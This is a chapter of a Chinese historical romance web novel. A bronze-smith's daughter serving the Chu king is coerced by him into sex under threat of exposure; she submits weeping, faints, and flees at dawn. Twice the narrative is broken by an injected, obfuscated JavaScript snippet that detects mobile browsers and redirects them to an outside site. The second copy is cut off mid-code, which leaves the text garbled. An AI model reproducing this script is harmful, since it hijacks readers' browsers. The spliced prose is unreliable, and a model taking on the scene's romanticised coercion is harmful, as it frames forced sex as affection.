她以前在沙子上写过字，薄媪教过她如何用炭条做记录，这回是她第一次握笔，在干净的竹简上写字。 但是，就像她已经写过了千万遍，书写的感觉一点也不陌生。 和她蹲在父亲和阿兄旁边，拿树枝悄悄在地上比划时，没什么不同。 那时，阿母小产。她在母亲床前哭累了昏睡过去，迷迷糊糊的听到阿父对阿母说：“莫要自责，我们还有阿姮。” 可是后来，父亲开始教邻家阿兄学习 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497485|167406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铭文。她有些不高兴，明明她才是父亲的女儿，父亲为何不教她？她表面上看着柔弱，心里却很是好强，暗中跟他们学，跟阿兄较劲，比阿兄记得还牢。 现在回想起来，对于她的心思，阿父其实都知道。阿父明面上在教导阿兄，实际上也在耐心的说给她听。 她没有阿兄那么大的力气，无法像阿兄那样，烧熔炉淬矿石锻造器具，可在父亲心中，她是铸匠的女儿，应该习得这些。 阿姮深深的吸了口气，不再让自己陷入哀痛中，一径把酒罍上的铭文写完，把笔递给喜妹。 喜妹在一旁做注释，遇到不明白的，阿姮就给她解释。 做完注释，喜妹搁笔，走到院子中间，笑眯眯的说：“不论我们是男人还是女人，是铸匠还是庖人，我们都曾经来过这个世上。我们不是以前的商王，不是当今的天子，不是国君，没有人会为我们作书，可我们都来过，一定会留下属于我们的印记！” 阿姮微笑着接口：“供后人祭奠和怀念。” 喜妹笑起来。 “咣当”一声，院门被粗暴的推开。院中的鸡群惊得往墙头飞，扑起一地的尘土。 “褚良！你喝多了吗？”喜妹生气的叫道。 褚良从门口闯进来，看了眼阿姮，说：“大王要杀人！” 两个姑娘都变了脸色。 “因为何事？”阿姮问。 褚良刚进门时，看她的那一眼，让阿姮隐约预感到有不寻常的事情发生。 她这时才注意到，天色渐晚，云层密布，乌云聚拢到王城上空，眼看一场大雨就要落下来。 “蔡女，”褚良吐出两个字，又道，“大王召蔡女侍寝，传话的人把鹂夫人接入王宫。后来……大王突召两广侍卫入宫。” 侍卫不能进入国君的寝宫，除非宫中发生政变或刺杀那样的大事。 “褚良你不是送鹂夫人回了……”喜妹呐呐。 褚良明白她的意思，道：“我将鹂夫人送回薄媪家，回来的路上，我顺便去了一趟两广侍卫的兵营，借他们的草料喂马。宫中突然传令到两广兵营，令侍卫入宫严查宫人，还分了一拨人去薄媪宅中搜查可疑之人。” 看来事情发生在鹂夫人回去之后，宫中派人到薄媪家，召鹂夫人入宫。 喜妹皱眉：“大王叫昭伯的妾妇侍寝，这也太荒唐了！但是……” 她今天才第一次见到鹂阿姊，便看出她是个豁达的女子，不会为了一个死人做出行刺大王的事。 喜妹还没说完，阿姮打断道：“褚良你速送我回王宫！” 褚良点头，两人迅速出了门。大王的那点心思，别说喜妹，恐怕连姮女自己都不清楚。这其中，恐怕有误会。 如今，能平息国君之怒的，唯有姮女。 “哎阿姮……”喜妹追出门，褚良已驾驭马车奔了出去。 乌云翻滚，狂风卷地，第一滴雨落下来的时候，阿姮踏入楚王寝宫的大门。 殿中，侍卫林立，蜜烛的灯影煌煌，地上跪了一片。 鹂阿姊跪伏在覃旁边，听见动静抬头，忧心的朝她望去，蹙眉轻轻摇头，似乎在用眼神责备她不该撞到楚王的刃上来。 阿姊脸上稍显惶色，容饰整齐，和她们白天出门时一样。 楚王没有做出喜妹口中的荒唐之事。 褚良说得没错，是误会。 这些时日一直压在阿姮心底的猜测，隐隐得到证实——楚王对她的怒气一直未消。 楚王坐在上首，他的佩剑置于身前的桌案上。他只穿了一身中衣，发髻束于头顶，面寒如水，眸光直视宫门的方向，盯着她一步步的走近。 23. 第 23 章 “带去薄媪那里受罚。”楚王大手一挥，侍卫将跪在地上的人全部提了出去。 瞬间，殿中只余她和楚王两人。 阿姮松了一口气。今夜至少不会有人丢掉性命。 “还知道回来？”芈渊凉凉的开口，旋即愣了一下。 他被自己这副怨妇似的口吻深深的恶寒到。 “王上，妾心知自己要去薄媪那里办差，恐怕不能时时侍奉王上，妾便请了当值的宫女替我在王上面前多加周全。若她们不慎做错了事，惹得王上不悦，都是妾之故。今日回来确有些晚了，也是妾的过错，请大王责罚。” 她静静的站在那里，小嘴翕动，用最谦卑的话语，把所有的责任都揽到她自己身上。 若非他早就领教过她伶俐善辩的口舌，只怕就被她这副恭顺的模样给骗了。 芈渊薄唇一歪，冷笑道：“想叫寡人把你也送到薄媪那里，和你的姊姊妹妹们关到一处？” 想得还挺美。芈渊嗤了一声。 被楚王一眼识破，阿姮跪下来，垂着头，不再言语。 她借出宫的机会，在外头做了哪些事，楚王想查的话，就瞒不了他。她和阿姊还有蔡国行商早就做了周密的准备，也商量好，如果楚人起了疑心该如何应对。楚王尽管去查好了。 但他不会的。 高傲的国君，只是想从她身上挑个错处，将他的怒火发作出来。 她就这么直愣愣的跪在他面前，既不向他献媚，也不向他讨饶。雪白的脖子弯下去，以一种无比恭顺的姿态臣服在国君面前，却让人无法窥探到一丝眉间颜色。 面对这样的她，少年国君竟有些束手无策，就像在王帐的那夜，他也拿她没有办法。 可他才是猎人。 芈渊站起来，走到阿姮面前。 一双宽大的赤足赫然映入眼帘。 “想要寡人怎么罚你？嗯？” 高大魁梧的国君在少女面前弓下腰，探出一只手捏住她的下巴，轻易的把她从地上拽起来。 另一只大掌落在她腰间的衣带上。 尽在咫尺的漆黑眼眉冷如冰雪，从慵冷的眸光中喷出几缕情热，无声的望着她。 和郢郊那夜何其相似。 “王上！”阿姮慌了，抵住楚王的衣襟，颤声道，“我们都没有错！您不该罚她们！也不该罚我！” 她的下巴被牢牢的钳住，挣脱不开。她将目光瞥到一旁，幽幽开口： “大王，您召蔡女侍寝，宫人按照您的吩咐召唤蔡女，她们何罪之有？鹂夫人蒙召入宫，并没有逾矩，何罪之有？妾……妾尽心尽力，只想做好份内的差事，又有何罪呢？” 她有什么错？ 她，作为在这个世上真真切切存在的一个人，努力活着的一个人，在高高在上的国君眼中，不配有名字，不值得被善待，只是一个可任由他奴役和玩弄的“蔡女”。 阿姮的眸光沿着宫室壁角起起落落，始终不肯落到他面前。芈渊不敢直视她的眼睛，于阴晦处生出几分赧然。 她没说错。 错全在他这个国君。 他扔下一句“叫蔡女来伺候”，傲慢的等她向他俯首。在格外漫长的等待中，一抬眼看到一张陌生的惊恐面孔。 不过几息，他想起来，这是另一个“蔡女”，她的那个什么阿姊。 国君的机警和多疑在那一刻达到顶峰。他不及深思，就断定这是薄媪和另一个蔡姬的算计。 极可能是一场宫廷阴谋。 他的心机头一回错算。 那又如何？国君不会低头，不可能认错。错了也要一错到底。 “你的差事？你既是蔡侯送给寡人的乐伎，你的差事不应该是用舞乐打动国君么？你是从未想过，还是忘了？” 他唇边浮现出散漫的讥嘲之态，颧骨上却泛起淡淡的红晕。 她的来历就是她的软肋，她害怕被他发现。芈渊很清楚这一点，只是从未想过，会有一天，他会被她逼得不得不使出这种低劣的手段，来恫吓她，迫她顺服。 果然，纤细的腰肢在他掌中发抖，几欲从他臂弯滑下去。他顺势将手臂一紧，少女的胸脯被迫挺立，撞到坚实的心口上。 “王上！”阿姮失声叫起来，陡然加剧的心跳声分不清是谁的。 楚王垂首到她耳边，哑声道：“不想为寡人跳舞，就用别的方式取悦寡人。” 夜色寂静无声，只听得雨声淅淅沥沥的打在房顶上，拍在窗边，带来秋天的寒意。 少女迟疑了许久，最终还是选择屈从，把手伸向腰间，颤抖着解开了衣带，一树火红的枫叶飘然落地。露出一袭洁白的单衣，裹着美好的身体，一尘不染。 她的手在单衣上踌躇不前。芈渊牵起她的手，按到自己的腰部，引导她，如初次侍奉他沐浴时那样，去解他的腰带。 他和她一样，只余一身中单。腰间空空，何来的玉带？可他仍不松手，柔软的小手被大掌紧握住，引领着，扯开国君的裤管。 他身上哪处都比她粗壮。 阿姮羞耻的闭上眼睛。 黑暗中，一阵天旋地转，柔顺的幼兔被猎人横抱起来，惯到榻上。 榻往下一沉。 魁硕的身躯覆上来。 阿姮紧闭双目。 还是那个生涩的少年。 夜雨笼罩的寝宫，就是他今日的猎场。山峦和野原纷纷被点燃狼烟，侵掠如火，火势蔓延到曾经折戟的河谷，势要重整干戈。 屋外，雨势越来越大，从荒野到王城，从丘陵到江河，暴雨浩瀚的声音从天际垂下来。幽闭的城阙终是守不住，卷入惊涛骇浪中。 啪嗒、啪嗒，夜雨恍如打在头顶。 阿姮睁开朦胧的泪眼，从空中落下来的，不是雨，是从他胸膛挥洒下来的汗。 烛泪也在不停的往下淌，蜜烛发出来的火光猩红如血，在她眼前杂乱的跳动，昏天暗地。 少女呜咽两声，晕了过去。 芈渊一惊，停止动作，将人儿托到怀里，轻拍她的脸。 她闭着眼睛，无声无息。脸上湿漉漉的。 芈渊拿手掐她的人中，犹豫了一下，启唇唤道：“阿姮！阿姮……” 她的名字，那两个缠绵的字眼，从他暗哑的嗓音中迸发出来，像一团火狠狠的烫到了他。 她哼了两声，还是没醒。 烛火中，她脸上全是泪。 国君愣怔了片刻，艰难的抽身出来，俯首吻上少女的脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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榻上一塌糊涂，少女不知所踪。 她的单衣，被他撕成碎片的单衣，散落在榻上。她的鞋子也丢在地上。 唯有那件枫叶纹红衣不见了，还有她。 殿门敞开着，门外雨丝如雾。只听“咣”的一声，寝宫一侧偏殿的房门被推搡开，单薄的一袭红衣在雨中瑟瑟飘曳，瞬间没入房中。 芈渊的额角突突直跳，说不清是亢奋还是愤怒。 她居然只在身上裹了件外衫就往外跑…… 那具光溜溜的身子，上一刻还在他榻上承接雨露，在他掌中辗转。 他刚一离开，她就毫不迟疑的逃掉了。 这个女人，竟如此薄情。 该把她捉回来，永远锁在榻上。 冷风一吹，殿门在风中“吱呀”摇晃。 芈渊冷静下来，哼了一声，把浴布扔到地上。 * 阿姮勉强抬起酸软的腿，推开离楚王寝宫最远的一扇门，一头栽进去。 “阿姮！”里头的人吃惊的叫道，上前接住她。 这是秀和另外一个宫女的屋子，这时只有秀一人。她在庖厨帮忙，不在楚王跟前服侍，其余的宫女都被带到薄媪那里，只有她躲过了这晚的纷乱。 此时已是次日早间，卯时三刻。秀正准备去庖厨，阿姮一身狼狈的闯了进来。 她头发凌乱，顶着一头雨珠。身上只裹了一件外衣，莹白的肩头半露在外，雪肤上几抹红痕，暧昧的痕迹一直延伸到衣衫里面。